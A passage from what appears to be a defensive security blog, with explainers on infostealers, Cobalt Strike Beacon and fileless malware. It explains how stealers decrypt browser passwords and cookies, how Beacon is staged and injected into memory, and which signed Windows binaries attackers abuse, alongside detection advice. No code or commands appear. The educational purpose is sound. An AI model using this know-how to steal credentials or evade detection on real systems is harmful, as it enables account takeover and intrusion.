locked vault, and not relying on browser-saved corporate logins, shrinks the prize. 3. **Shorten and bind sessions.** Reduce session lifetimes, require re-authentication for sensitive actions, and bind sessions to a device where the platform supports it, so a stolen cookie expires or fails elsewhere. 4. **Prefer phishing-resistant auth.** Passkeys and hardware security keys remove the reusable shared secret entirely for the login step. 5. **Monitor for exposure.** Services that track stealer logs can alert you when credentials for your domains surface, turning a silent infection into an actionable signal. 6. **Assume compromise on infection.** If a device is hit, rotate the credentials and invalidate the sessions that were on it. The password change is not enough on its own if the live cookie is still valid somewhere. After a suspected stealer infection, force a global sign-out to invalidate existing sessions, then rotate passwords. Changing the password while leaving the stolen session token valid leaves the attacker logged in. Infostealers are not glamorous and they are not clever. They are cheap, fast, and quietly responsible for a huge amount of downstream damage, because they turn one careless moment on one machine into a working key. Defend the delivery, shrink what a browser hands over, and treat sessions as the credential they really are. ## How a stealer harvests browser secrets The browser is the richest target on most machines, so it is worth understanding how a stealer empties it. Chromium-based browsers, which include Chrome and Edge, store saved passwords and cookies in local database files. Those values are encrypted, but the encryption key is stored on the same machine, protected by the operating system's per-user data protection. A process running as the logged-in user can ask the operating system to unwrap that key, exactly as the browser itself does, and then decrypt the saved passwords and cookies. The stealer does not break cryptography. It reuses the victim's own logged-in session and the browser's own key handling to read what the browser can already read. That is the core of the smash-and-grab. The stealer locates the browser profile directories, copies the credential and cookie databases, requests the local decryption key, and unwraps the secrets in memory. It repeats this for every browser profile it finds, then moves on to wallet extensions, messaging app session files, and any documents matching patterns the operator configured. The whole sweep can finish in seconds because none of it requires waiting, exploiting, or escalating. Everything the stealer wants is readable by the user it is already running as. Stealers rarely need administrator rights. Saved passwords, cookies, autofill data, and wallet files all belong to the user's own profile, and the user can read them by design. That is why a stealer delivered through cracked software or a paste-a-command lure, running with ordinary privileges, still walks away with everything of value. Privilege escalation is a step for other malware; a stealer skips it because the loot is already in reach. ## A representative infection chain Follow one plausible sequence from lure to loss, with no exotic exploit anywhere in it. 1. A user searches for a paid application and clicks a promoted result that impersonates the official download page. 2. The page serves an installer that carries the stealer alongside, or instead of, the promised software. 3. The user runs the installer, granting it the ordinary permissions any installer expects. 4. The stealer executes once. It enumerates browser profiles, copies and decrypts saved passwords and cookies, grabs wallet extensions and messaging sessions, and scans for files matching seed-phrase and credential patterns. 5. It bundles everything into a log and exfiltrates it to a server or a chat-based drop. 6. It exits, often leaving no persistence, because the value was extracted in the first seconds. 7. Days or weeks later, a buyer imports one of the stolen session cookies and resumes an authenticated session, or an initial-access broker mines the log for a corporate credential and sells the foothold onward. The gap between step 6 and step 7 is what makes stealers so damaging. The victim experiences nothing at the moment of theft. The consequence arrives later, handled by a different actor, which is why the infection and the breach often look unrelated in an investigation. ## Detection signals Because a stealer aims to run once and leave, detection leans on catching the run itself and the exfiltration around it. Concrete indicators worth watching: - **A freshly executed binary reading multiple browser profile databases in quick succession.** Legitimate software rarely opens the credential and cookie stores of several browsers back to back. That access pattern is a strong tell. - **A short-lived process making an outbound connection to an unfamiliar host or a chat platform API, then exiting.** The exfiltration of a log is a burst of upload traffic from a process with no reason to send data out. - **Access to the browser's local encryption key by a process that is not the browser.** Requests to unwrap the browser data-protection key from an unexpected process indicate credential harvesting in progress. - **Reads of cryptocurrency wallet directories and browser wallet extension storage.** Ordinary applications do not enumerate wallet files. A process touching them is suspicious by default. - **Paste-a-command execution.** A command interpreter launched with a long encoded or scripted argument, shortly after the user visited a page, is the fingerprint of a ClickFix-style lure. - **After the fact, credentials for your domains appearing in stealer-log feeds.** Exposure monitoring turns a silent past infection into an actionable present signal. Signature-based detection struggles with stealers because families churn and repack constantly. The durable signal is the behaviour: a process that is not your browser reading your browser's password and cookie databases and then sending data out. Alerting on that access pattern catches new and unknown families that a hash-based rule would miss. ## Infostealers compared with other malware Stealers occupy a specific niche in the malware landscape, and contrasting them with neighbours clarifies what they are and are not. | Malware type | Primary goal | Time on host | Persistence | Victim notices | |---|---|---|---|---| | Infostealer | Harvest credentials, cookies, wallets | Seconds | Usually none | Rarely, until later abuse | | Ransomware | Encrypt data for extortion | Minutes to hours | Until payload fires | Immediately, by design | | Banking trojan | Intercept financial sessions | Persistent | Yes | Sometimes | | Remote access trojan | Ongoing remote control | Persistent | Yes | Rarely, if stealthy | | Keylogger | Capture keystrokes over time | Persistent | Yes | Rarely | The distinguishing traits are the short dwell time and the optional persistence. A stealer wants in and out before anything notices, because its product, the log, is fully collected in the first pass. Compare the ransomware row, which announces itself deliberately once the encryption completes. See [What Is a Trojan Horse](/what-is-a-trojan-horse) for the delivery wrapper that stealers frequently share with these other families. ## Common misconceptions Several widely held beliefs leave people exposed to stealers. - **"We have MFA, so stolen passwords do not matter."** MFA protects the login step. A stolen session cookie represents a session that already passed MFA, so importing it walks past the check. Session controls, not MFA alone, address cookie theft. - **"Changing the password fixes it."** If the live session token is still valid, the attacker stays logged in after a password change. You have to invalidate existing sessions as well, then rotate the password. - **"Only careless people on sketchy sites get hit."** Delivery increasingly uses poisoned search results for legitimate software, fake update prompts, and convincing paste-a-command lures. The victim often believes they are doing something routine. - **"It is just my personal machine, not a work problem."** A personal device holding a saved corporate login is a corporate exposure. The recurring enterprise breach pattern starts on exactly such a device. - **"Antivirus will catch it."** Stealer families repack frequently to dodge signatures, and delivery talks the user into approving execution. Behavioural detection and reduced browser storage matter more than a static blocklist here. - **"A stealer that leaves no persistence did no lasting harm."** The harm is the exfiltrated log, which is permanent. The absence of persistence means nothing survives on the host, and the stolen credentials and cookies are already gone. ## How the stealer ecosystem evolved Credential theft is old, but the modern stealer economy took its current shape as a service business. Operators build and maintain the malware, then rent it to affiliates on a subscription, handling the collection infrastructure so a buyer needs little skill. The affiliates handle delivery through cracked software, malvertising, and lures. The harvested logs flow into marketplaces and channels where they are parsed, deduplicated, searched by domain, and sold. Downstream, initial-access brokers specialise in mining those logs for corporate credentials and reselling the resulting footholds to ransomware crews. Two shifts pushed stealers to the center of the breach economy. The first was the industry-wide move to session tokens and single sign-on, which made a stolen cookie a skeleton key to many services behind one login. The second was the spread of MFA, which raised the cost of using a stolen password and made the already-authenticated session cookie the more valuable target. Stealers adapted to grab cookies as the priority item. Family names cycle constantly as operations are disrupted and rebrand, which is why chasing individual names is a losing game. The service model, the log as product, and the session cookie as prize are the constants. To see who sits downstream buying these footholds, our Threat Groups directory maps the access brokers and ransomware crews that depend on the stealer supply chain. ## What lives inside a stealer log The log is the product, so it is worth knowing what a buyer actually receives. A typical log is a structured bundle, one folder per victim, containing the harvested material sorted for easy searching. Inside you commonly find a file of saved browser passwords with the site, username, and plaintext password for each; a set of exported cookies ready to import into another browser; autofill records with names, addresses, and sometimes card data; wallet files and extension data; screenshots of the desktop at the moment of infection; and a system profile listing the operating system, installed software, and hardware fingerprint. That system profile matters more than it looks. It lets a buyer tell a home machine from a corporate laptop, identify which company an employee belongs to, and gauge how valuable the foothold is before spending anything. A log tied to a machine on a corporate domain, carrying a live session to a company single sign-on portal, is worth far more than one from a personal device, and the profile is how buyers sort for exactly that. This sorting is why a single infection can be routed to precisely the actor who can monetise it, and why the interval between theft and abuse can stretch to weeks while the log changes hands. The cookies are the part that ages fastest and hurts most. A password in a log may already have been changed by the time a buyer acts. A session cookie, if still within its lifetime, is a working key that needs no password and faces no MFA prompt. This is the mechanical reason short session lifetimes and device binding blunt the value of a log even after the theft has happened. ## Frequently asked questions **Does antivirus stop infostealers?** It stops some, and it misses many. Families repack frequently to evade signatures, and delivery relies on convincing the user to run the payload, which sidesteps technical blocks. Layered defense, cutting delivery, storing less in the browser, shortening sessions, and monitoring for exposure, matters more than any single scanner. **If I have MFA, am I safe from stealers?** No. MFA guards the login. A stolen session cookie carries an already-authenticated session, so an attacker who imports it does not face the MFA challenge again. Short session lifetimes, device binding, and re-authentication for sensitive actions are what address cookie theft. **How do I know if I was hit?** The theft itself is quiet, so watch for the aftermath: unfamiliar logins, alerts that credentials for your domains appeared in a stealer-log feed, or the behavioural signals of a process reading browser stores and exfiltrating. Exposure-monitoring services are the most reliable way to learn a past infection leaked your credentials. **What should I do first after a suspected infection?** Force a global sign-out to invalidate active sessions on the affected accounts, then rotate the passwords. Doing the password change first while the live cookie stays valid leaves the attacker logged in. Assume everything saved in the browser on that device is compromised and rotate accordingly. **Why are session cookies more valuable than passwords now?** Because they bypass the controls built to protect the login. A password still faces MFA. A session cookie represents a session that already cleared MFA, so reusing it resumes access with no further challenge. That is why modern stealers prioritise cookies. **Are Mac users at risk?** Yes. Dedicated macOS stealers exist and target the same assets: browser data, keychains, and wallets, delivered through the same cracked-software and fake-update channels. The platform is different; the playbook is the same. **Can a password manager protect me?** It helps by keeping credentials out of the browser's own store and behind a locked vault, which shrinks the loot a stealer can grab in one pass. It is not a complete answer, because a stealer running on an unlocked machine may still capture what is in use. Pair it with short sessions, phishing-resistant login, and a firm habit of never saving corporate logins in the browser itself. **How long does a stolen session stay usable?** As long as the session token remains valid on the service. A service with long-lived sessions and no device binding can leave a stolen cookie usable for a long time. Shortening session lifetimes and requiring re-authentication for sensitive actions directly caps that window, which is the single most effective control against cookie reuse. ## Related guides - [What Is a Trojan Horse](/what-is-a-trojan-horse) - [Session Hijacking Explained](/session-hijacking-explained) - [Two-Factor Authentication Guide](/two-factor-authentication-guide) - [Passkeys Explained](/passkeys-explained) - [What to Do After a Data Breach](/what-to-do-after-data-breach) - [What Is a Banking Trojan](/what-is-a-banking-trojan) - [The Snowflake Customer Breaches](/snowflake-breaches-explained) - [Browser Hardening Guide](/browser-hardening-guide) ### Sources - MITRE ATT&CK: Credentials from Password Stores (T1555) (MITRE): https://attack.mitre.org/techniques/T1555/ - MITRE ATT&CK: Steal Web Session Cookie (T1539) (MITRE): https://attack.mitre.org/techniques/T1539/ - CISA: Understanding and Responding to Information Stealers (CISA): https://www.cisa.gov/ --- ## What Is Cobalt Strike? The Red-Team Tool Criminals Adopted > A defensive explainer on Cobalt Strike: what the framework is, how Beacon works, why criminals abuse cracked copies, and how defenders detect it. - URL: https://blog.pwnsy.com/what-is-cobalt-strike - Date: 2026-07-24 - Updated: 2026-07-24 - Difficulty: intermediate - Category: malware - Tags: cobalt-strike, command-and-control, beacon, detection-engineering, red-team - Related: [Malvertising Explained: Forced Redirects, Fake Download Ads and How They Get Through](https://blog.pwnsy.com/malvertising-explained), [ClickFix Attacks Explained: The Fake CAPTCHA That Runs Malware](https://blog.pwnsy.com/clickfix-attacks-explained), [HTML Smuggling Explained: Delivering Payloads Past the Gateway](https://blog.pwnsy.com/html-smuggling) ### TL;DR - Cobalt Strike is a commercial adversary-simulation framework built for red teams, whose cracked and leaked copies became a favourite tool of criminal intruders. - Its core component is Beacon, a flexible implant that provides command and control, with adjustable timing and channels designed to blend into normal traffic. - Operators customize Beacon behaviour through Malleable C2 profiles, which reshape its network traffic to imitate legitimate services and evade signatures. - Defenders detect it through beacon timing, known artifacts and default configurations, memory scanning, and the process behaviour Beacon produces after landing. ### Key Takeaways - Cobalt Strike is legitimate software; the problem is abuse of pirated versions by ransomware crews and other criminal actors. - Beacon is a full C2 implant, capable of tasking, credential access, lateral movement, and pivoting well beyond a simple downloader. - Malleable C2 profiles let operators disguise traffic, so signature-only detection is brittle and must be paired with behavioural analysis. - Well-known default artifacts, from named pipes to a specific staging behaviour, still catch operators who do not customize their setup. - The durable detections are beacon timing on the network and post-exploitation process behaviour on the endpoint, which survive most evasion tuning. Cobalt Strike started as a tool for the defenders' side. It is commercial software sold for red-team engagements and adversary simulation, the kind of exercise where a security team plays attacker to test whether the blue team can detect a real intrusion. It does that job well, which is exactly why criminals wanted it too. Over the years, cracked and leaked copies spread widely, and Cobalt Strike became one of the most commonly observed frameworks in real ransomware and espionage intrusions. For a defender, that makes it essential to understand. Not to run it, but to recognise what its presence looks like on a network and a host. ## What the framework actually is Cobalt Strike is a platform for running a simulated intrusion end to end. An operator uses a team server to manage compromised machines, deliver payloads, and run post-exploitation actions from one interface. On MITRE ATT&CK it is catalogued as [Cobalt Strike (S0154)](https://attack.mitre.org/software/S0154/), with a large mapped set of behaviours because the tool touches so many stages of an attack. The design goal is realism. A red team is only useful if it exercises the defenses the way a genuine adversary would, so the framework is built to look and behave like a capable intrusion rather than an obvious test. That fidelity is what made it valuable to legitimate testers and, once cracked copies circulated, equally valuable to criminals who wanted the same capability without building it. The tool did not change; the hands using it did. The piece that matters most is the implant, called **Beacon**. When a target is compromised, Beacon is the code that runs on it and connects back to the operator. It is a capable command-and-control agent: it can receive tasks, run commands, harvest credentials, move laterally to other machines, and relay traffic for implants deeper in the network. Because it is designed for realism, it also puts real effort into staying quiet. Beacon comes in two connection styles that shape how visible it is. An **egress** Beacon talks directly out to the operator's infrastructure over HTTP, HTTPS, or DNS. A **peer-to-peer** Beacon instead links to another Beacon inside the network, commonly over a named pipe, and only that second implant reaches the internet. Operators chain these so that machines with no direct outbound access can still be controlled, with commands relayed hop by hop through internal links. For a defender, this means C2 traffic may never leave a given host at all, which is why endpoint and internal-network visibility matter as much as watching the perimeter. ## How Beacon communicates Beacon is built around the same outbound-first model as most C2. It reaches out to the team server on a schedule, asks for tasking, does the work, and returns results. That callback is a beacon in the literal sense, and its timing is configurable. Operators set a **sleep** interval and add **jitter** to randomize it, so callbacks do not arrive on a perfectly mechanical clock. A Beacon might check in every few seconds during active work or every several hours when lying low. This directly shapes how detectable it is, and it is one of the first things a defender profiles. ### Malleable C2 profiles The feature that makes Beacon hard to pin down is **Malleable C2**. A profile is a configuration that rewrites what Beacon's network traffic looks like: the URLs it requests, the headers it sends, how data is encoded, and which service it imitates. With a good profile, Beacon traffic can be shaped to resemble ordinary web requests to a common platform. This behaviour rides on standard [Application Layer Protocol (T1071)](https://attack.mitre.org/techniques/T1071/) channels, most often HTTPS and sometimes DNS. The practical consequence is that any detection based purely on a fixed traffic signature is fragile. Change the profile and the signature misses. This is why Cobalt Strike detection has to combine several angles rather than lean on one string match. That said, the flexibility has limits an operator cannot fully hide. A profile changes what the traffic looks like, but it does not change the fact that a beacon still calls out on a schedule, still originates from a process that is not a real browser, and still has to run somewhere in memory on the host. Malleable C2 defeats the brittle indicator and leaves the structural ones standing. A defender who accepts that the traffic will look benign, and instead measures its rhythm and ties it to the process producing it, is working with signals the profile cannot rewrite. ## Why criminals adopted it Building a reliable C2 framework from scratch is real work. Cobalt Strike offered a mature, well-documented one for free to anyone with a cracked copy. Criminal crews got professional-grade tooling with lateral movement, credential access, and traffic evasion already built and battle-tested. The result is that Cobalt Strike Beacon shows up across a wide range of intrusions, frequently as the stage between an initial foothold and hands-on ransomware deployment. Different groups favour different profiles and delivery methods, which is part of what our Threat Groups directory tracks, since the way a crew configures and delivers its Beacon is often a useful fingerprint. The typical intrusion arc looks like this. An initial payload, delivered by phishing or a compromised service, loads Beacon into memory. Beacon calls home, the operator confirms the foothold is real, and hands-on work begins: dumping credentials, mapping the domain, and moving laterally to more valuable machines. Beacon relays control to fresh implants on each new host, and once the operator reaches the systems they want, they stage and launch the final objective, often ransomware. Beacon is the thread running through every step, which is precisely why detecting it early collapses the whole sequence before the damaging stage arrives. Because Cobalt Strike is legitimate software, its artifacts can appear during sanctioned testing. That is not a reason to ignore them. Unless a Beacon maps to an authorized, scheduled engagement your team knows about, treat it as a live intrusion. Confirm authorization out of band rather than assuming any Beacon you see is your own red team. ## How it became a criminal staple Cobalt Strike was designed for red teams, and its trajectory into criminal hands follows a simple economic logic. Building a mature C2 framework with reliable lateral movement, credential access, flexible traffic shaping, and stable pivoting is a large engineering effort. A cracked copy handed all of that to anyone for free, already documented and already exercised against real defences. As pirated versions circulated, Beacon became one of the most commonly observed frameworks in ransomware and espionage intrusions, frequently occupying the stage between an initial foothold and hands-on deployment of the final payload. Its ubiquity had a side effect that helps defenders: because so many intrusions passed through it, the community built a deep well of public detection knowledge, from memory-scanning rules to catalogues of default artifacts. Operators responded by customising profiles and named pipes to erase the easy tells, which pushed the durable detections toward timing and post-exploitation behaviour, the signals that customisation cannot remove without giving up capability. The back-and-forth is the ordinary shape of a widely abused tool: as one class of indicator gets tuned away, defenders anchor to the structural behaviours that remain. ## Anatomy of a Beacon deployment Walking through how Beacon reaches a host and settles in shows why the detections later in this guide target the stages they do. The sequence below is generic and reconstructed from how the tooling is commonly used, with no invented incident attached. **Delivery and loading.** An initial access payload arrives, often through phishing or a compromised service. That payload is usually a small loader whose purpose is to place Beacon into memory. Operators frequently avoid writing Beacon to disk at all, injecting it directly into the memory of another process so that on-disk scanning finds nothing. This is why memory scanning, rather than file scanning, is a load-bearing detection for Cobalt Strike. **Staging or stageless start.** A staged Beacon pulls the full implant from the team server in a second step, which leaves a recognisable download pattern that default profiles do not disguise well. A stageless Beacon ships the whole implant in the initial payload, avoiding that fetch. Operators choose based on how much they trust their delivery path and how much they want to minimise network artifacts. **First check-in.** Once running, Beacon calls the team server, usually through a redirector, and reports the foothold. The operator confirms the host is real and worth working. This first callback is the earliest network opportunity to catch the implant, before any hands-on activity begins. **Hands-on tasking.** With the foothold confirmed, the operator works interactively: dumping credentials, enumerating the domain, and identifying valuable machines. Beacon executes each task and returns the output on its next callback, producing the steady rhythm that timing analysis targets. **Lateral movement and pivoting.** Beacon spawns peer-to-peer implants on newly compromised hosts, often linked over named pipes, and relays their traffic so machines with no direct internet access can still be controlled. The operator chains these hop by hop toward the objective. Each pivot is a fresh chance to observe anomalous internal connections and process behaviour. **Objective.** Once the operator reaches the systems they want, they stage and launch the final action, frequently ransomware. Beacon is the thread through every prior step, which is exactly why detecting it early collapses the sequence before the damaging stage arrives. ## A worked example: correlating two weak signals Picture a server that beacons outbound over HTTPS to a single destination at a steady interval, with jitter smearing the exact timing but the average holding across a full day. On its own, an occasional periodic request could be almost anything. Now look at the host. The process making those requests is not a browser, and shortly after one of the callbacks it injected code into another process and attempted to read credential material from memory. Neither signal is conclusive alone. The network side could be benign automation, and process injection has legitimate uses in a few tools. Placed on the same host within the same minutes, they describe a live Beacon: a scheduled callback from a non-browser process that immediately engages in credential access and injection. That join, a network timing hit and a host behaviour hit landing together, is the highest-confidence Cobalt Strike detection available, and it is why the strongest programmes alert on the correlation rather than on either signal in isolation. ## How to detect and defend No single signal is sufficient, because operators tune away individual tells. Layer detection across the network, the host, and memory. 1. **Beacon timing analysis.** The callback rhythm survives most profile tuning. Analyze outbound connection logs for regular, repeated calls to a destination, accounting for jitter. Steady low-volume callbacks to a single host are the classic pattern. 2. **Known defaults and artifacts.** Operators who do not customize leave recognisable defaults behind: characteristic named pipes, default staging paths, and default profile behaviour. Public detection rule sets encode many of these, and they still catch lazy setups. 3. **Memory scanning.** Beacon has to exist in memory to run. YARA rules and memory scanners that look for its in-memory structures catch it even when the payload was never written to disk, which is common since operators inject Beacon into other processes. 4. **Post-exploitation process behaviour.** Once Beacon acts, it generates telling host activity: injection into other processes, spawning of temporary processes for specific tasks, credential-access attempts against LSASS, and lateral movement over remote services. These behaviours map to well-known ATT&CK techniques and are visible to endpoint detection. 5. **TLS and destination fingerprinting.** Even when contents are encrypted, the client fingerprint and destination reputation help. Traffic from a non-browser process to a newly registered domain, on a beacon-like schedule, is a strong lead. 6. **Egress and DNS control.** Force outbound traffic through inspection points and watch DNS closely, since DNS is one of Beacon's fallback channels and often the least monitored. The most reliable Cobalt Strike detections correlate a beacon-timing hit on the network with suspicious process behaviour on the same host at the same time. Either signal alone produces noise; together they point at a live Beacon with high confidence. Build your alerting to join the two rather than firing on one in isolation. ## Which detections survive evasion Operators tune Cobalt Strike to defeat individual detections, so it helps to rank signals by how much tuning it takes to evade them. The table maps each detection to what an operator must do to escape it and why the durable ones are durable. | Detection angle | What it keys on | How an operator evades it | Durability | |---|---|---|---| | Fixed traffic signature | A known byte pattern in requests | Change the Malleable C2 profile | Low, brittle | | Default artifacts | Named pipes, staging paths, default profile behaviour | Customise the profile and named pipes | Low to moderate | | Memory scanning | Beacon structures resident in memory | In-memory obfuscation, though Beacon still must run | Moderate | | Beacon timing | Regular callbacks over time | Longer sleep and jitter, which slows the operator | High | | Post-exploitation behaviour | Injection, credential access, lateral movement | Fundamentally hard to avoid while doing the work | High | The pattern is that signature and default-artifact detections catch lazy setups and fail against a careful operator, while timing and post-exploitation behaviour resist evasion because escaping them costs the operator the very capabilities they came for. A Beacon that never beacons and never acts is not doing anything. This is the reasoning behind building alerting on the correlation of network timing and host behaviour rather than on any single string match. ## Common misconceptions **"Cobalt Strike is malware."** It is legitimate commercial software built for sanctioned red-team engagements. The problem is abuse of cracked and leaked copies by criminal crews. That distinction matters operationally: its artifacts can appear during authorised testing, so the right response to a Beacon is to confirm authorisation out of band, and to treat it as a live intrusion unless it maps to a known, scheduled engagement. **"If we block the signature, we are covered."** Malleable C2 profiles let operators rewrite what Beacon's traffic looks like, so any detection built purely on a fixed traffic signature is fragile. Change the profile and the signature misses. Signature detection is worth having for lazy setups, and it must be paired with behavioural analysis that a profile cannot rewrite. **"Beacon is just a downloader."** Beacon is a full command-and-control implant. It can task a host, harvest credentials, move laterally, and relay traffic for implants deeper in the network. Treating it as a simple first-stage dropper understates the capability and leads teams to underreact when they find one. **"No file on disk means nothing to find."** Operators routinely inject Beacon straight into another process's memory, so disk scanning comes up empty. The implant still has to exist in memory to run, which is why memory scanning and post-exploitation behavioural detection catch it when file-based tools do not. ## Frequently asked questions **Is it illegal to use Cobalt Strike?** Using a properly licensed copy for authorised security testing is a legitimate professional activity. The abuse comes from cracked and leaked copies used without authorisation in real intrusions. For a defender the licensing question is secondary to the operational one: any Beacon on your network that does not map to an authorised, scheduled engagement should be treated as hostile. **What is Beacon?** Beacon is Cobalt Strike's implant, the code that runs on a compromised host and connects back to the operator's team server. It is a capable C2 agent that can receive tasks, run commands, harvest credentials, move laterally, and relay traffic for other implants. It comes in an egress form that talks directly to the internet and a peer-to-peer form that links to another Beacon inside the network. **What is a Malleable C2 profile?** It is a configuration that rewrites what Beacon's network traffic looks like: the URLs it requests, the headers it sends, how data is encoded, and which service it imitates. A good profile makes Beacon traffic resemble ordinary web requests to a common platform, which defeats fixed traffic signatures. It cannot change the fact that the implant still beacons on a schedule and still runs in memory. **Why do criminals use a defensive tool?** Building a reliable C2 framework from scratch is real work, and cracked Cobalt Strike offered a mature, well-documented one for free. Criminal crews got professional-grade lateral movement, credential access, and traffic evasion already built and battle-tested, which is why Beacon shows up so often as the stage between an initial foothold and hands-on ransomware. **How do defenders catch it if the traffic is disguised?** By not relying on the traffic contents. The durable detections are beacon timing on the network and post-exploitation process behaviour on the endpoint, correlated on the same host at the same time. A profile can hide what a request looks like, and it cannot hide that a non-browser process is calling out on a schedule and then injecting into other processes or reading credentials. **What is the difference between an egress and a peer-to-peer Beacon?** An egress Beacon talks directly out to the operator's infrastructure over HTTP, HTTPS, or DNS. A peer-to-peer Beacon instead links to another Beacon inside the network, commonly over a named pipe, and only that second implant reaches the internet. Operators chain them so machines with no direct outbound access can still be controlled, which means C2 traffic may never leave a given host and endpoint visibility matters as much as perimeter monitoring. **Why is memory scanning so central to catching Beacon?** Operators commonly inject Beacon directly into another process's memory and never write it to disk, so file-based antivirus finds nothing to scan. The implant still has to be resident in memory to execute, which is where memory scanners and YARA rules that match its in-memory structures catch it. Pairing that with post-exploitation behavioural detection covers the cases where in-memory obfuscation blunts the scan. **Should finding a Beacon during a pentest be treated as an incident?** Confirm authorisation before deciding. Because Cobalt Strike is legitimate testing software, its artifacts can appear during a sanctioned engagement your team scheduled. The safe default is to treat any Beacon as a live intrusion until it maps to a known, authorised engagement, and to verify that mapping out of band rather than assuming the Beacon you see belongs to your own red team. Cobalt Strike is a case study in dual-use tooling. Built to help defenders rehearse against real attacks, it became one of the attacks defenders most need to catch. The way to handle it is not to fear the tool but to know its behaviour cold: how Beacon calls home, how operators disguise it, and which of its habits no amount of tuning can fully hide. ## Related guides - [Command and Control Explained](/command-and-control-explained) - [What Is Metasploit](/what-is-metasploit) - [Threat Hunting Guide](/threat-hunting-guide) - [Living Off the Land Attacks Explained](/living-off-the-land-explained) ### Sources - MITRE ATT&CK: Cobalt Strike (S0154) (MITRE): https://attack.mitre.org/software/S0154/ - MITRE ATT&CK: Application Layer Protocol (T1071) (MITRE): https://attack.mitre.org/techniques/T1071/ - CISA: Advanced Persistent Threat Actors and Commodity Tooling (CISA): https://www.cisa.gov/ --- ## What Is Fileless Malware? Memory-Only Attacks Explained > Fileless malware runs in memory and abuses trusted system tools, so disk scanning misses it. How it works, why signatures fail, and how to detect it. - URL: https://blog.pwnsy.com/what-is-fileless-malware - Date: 2026-07-24 - Updated: 2026-07-24 - Difficulty: intermediate - Category: malware - Tags: fileless-malware, malware, lolbins, behavioural-detection, living-off-the-land - Related: [Malvertising Explained: Forced Redirects, Fake Download Ads and How They Get Through](https://blog.pwnsy.com/malvertising-explained), [HTML Smuggling Explained: Delivering Payloads Past the Gateway](https://blog.pwnsy.com/html-smuggling), [UEFI Firmware Security Explained: Secure Boot, TPMs and Bootkits](https://blog.pwnsy.com/uefi-firmware-security-explained) ### TL;DR - Fileless malware runs from memory and abuses tools already on the system, so there is often no malicious file on disk for a scanner to find. - It leans on living-off-the-land binaries like PowerShell, WMI, and the registry, which makes its activity blend in with normal administration. - Because there is no static file to match, signature-based antivirus struggles. Detection shifts to behaviour: what a process does, not what it looks like. - Defence is about visibility and constraint: log process and script activity, restrict interpreters, and hunt for suspicious parent-child process chains. ### Key Takeaways - Fileless does not mean it never touches disk. It means the malicious logic lives in memory and reuses trusted binaries rather than dropping its own executable. - The technique maps to MITRE ATT&CK behaviours like Command and Scripting Interpreter (T1059), Signed Binary Proxy Execution (T1218), and WMI (T1047). - Persistence is often stored in the registry or WMI subscriptions rather than as a file, which is why a reboot does not always clean the machine. - Endpoint detection and response (EDR) and script-block logging matter more here than classic on-access file scanning. - Application control, constrained language mode, and disabling unused interpreters shrink the surface these attacks depend on. Most people picture malware as a file: an executable you download, a scanner catches, quarantine handles. Fileless malware breaks that mental model. It aims to leave nothing on disk for a scanner to catch, running its malicious logic in memory and driving it with tools that are already installed and trusted on the machine. The result is an attack that looks, to a file-focused defender, like nothing happened at all. The processes running are legitimate Windows components. The commands are the kind an administrator might type. And yet the attacker has code executing, credentials being read, and a foothold being established. ## What "fileless" actually means The term is slightly misleading, so it is worth being precise. Very few attacks are perfectly fileless from start to finish. What defines the category is that the core malicious activity avoids writing a traditional malware executable to disk. Instead it does one or more of the following: - Runs entirely in **memory**, injected into or spawned by a legitimate process. - Abuses **built-in interpreters** like PowerShell, the Windows Script Host, or the command shell to carry the logic. - Uses **living-off-the-land binaries**, signed Microsoft tools repurposed for attacker goals. - Stores its persistence in the **registry** or a **WMI subscription** rather than as a file. The unifying idea is that the attacker reuses trust that already exists on the system. A file the defender's tooling has never seen is suspicious. A signed system binary doing its normal job is not, which is exactly why it gets abused. ## Why disk scanning misses it Traditional antivirus grew up matching files against signatures: hashes and byte patterns of known-bad executables. That model assumes there is a file to look at. Fileless techniques remove the file, or replace it with a trusted one, and the assumption collapses. Three properties make this hard for file-based tools: - **No persistent artefact.** If the payload only ever exists in a running process, an on-access scanner that watches file writes has nothing to trigger on. - **Trusted binaries.** When the process doing the damage is `powershell.exe` or `wmic.exe`, its hash is on every allowlist. Blocking it by identity would break the operating system. - **Encoded and staged commands.** The actual instructions are often fetched from the network or decoded at runtime, so even if a command line is logged, the meaningful part may not appear until execution. On MITRE ATT&CK, this activity clusters around [Command and Scripting Interpreter (T1059)](https://attack.mitre.org/techniques/T1059/), [System Binary Proxy Execution (T1218)](https://attack.mitre.org/techniques/T1218/), and Windows Management Instrumentation [(T1047)](https://attack.mitre.org/techniques/T1047/). None of those are files you can blocklist. They are behaviours you have to watch. Fileless does not always mean non-persistent. Attackers commonly store an encoded payload in a registry run key or a WMI event subscription that re-launches an in-memory stage after every reboot. The disk stays clean of executables while the infection survives restarts. Treat registry and WMI persistence as first-class hunting targets. ## The living-off-the-land toolkit The signed, pre-installed tools attackers lean on are called LOLBins, short for living-off-the-land binaries. A handful come up again and again because they are powerful, present by default, and trusted: | Tool | Legitimate purpose | How it gets abused | |---|---|---| | PowerShell | Administration and automation | Runs in-memory scripts, downloads and executes payloads | | WMI (`wmic`, WMI subscriptions) | System management and queries | Executes commands and stores fileless persistence | | `mshta.exe` | Runs HTML applications | Executes remote script content | | `rundll32.exe` | Loads and runs DLL functions | Proxies execution of attacker code | | `regsvr32.exe` | Registers COM components | Runs remote scripts through a trusted binary | | Registry | Configuration store | Holds encoded payloads and auto-run entries | The pattern is always the same. Take a binary Microsoft signed, feed it input it will happily process, and let the operating system's own trust carry the attack. For a fuller catalogue of these binaries and the specific arguments that turn them malicious, see our companion guide on LOLBins linked below. ## How a fileless attack unfolds A representative chain, with no exotic exploit required: 1. **Initial access** through a phishing document or a paste-a-command lure that starts a trusted interpreter. 2. **In-memory execution** where the interpreter pulls a script or shellcode and runs it without writing an executable to disk. 3. **Persistence** written to a registry run key or a WMI subscription so the payload returns after reboot. 4. **Credential access and movement** using more living-off-the-land tools, so each step continues to look like administration. At no point does a novel malicious `.exe` sit on the drive waiting for a scanner. The whole chain is built from trusted parts arranged in an untrusted order. ## How to defend against fileless malware Because there is no file to match, defence moves from identity to behaviour and from detection alone to constraint plus visibility. 1. **Turn on script-block and module logging.** PowerShell can record the actual script content it executes, decoded, even when the command line is obfuscated. Ship those logs somewhere they can be searched. 2. **Deploy behavioural EDR.** Endpoint detection and response watches process relationships and actions. A Word document spawning PowerShell that spawns a network connection is a behaviour worth alerting on, regardless of any file hash. 3. **Hunt parent-child process chains.** Office applications launching interpreters, or `rundll32` reaching out to the internet, are the tells. Baseline what normal looks like so the abnormal stands out. 4. **Apply application control.** Tools like WDAC or AppLocker can force interpreters into constrained modes and block the less common LOLBins that have no business running in your environment. 5. **Reduce the interpreter 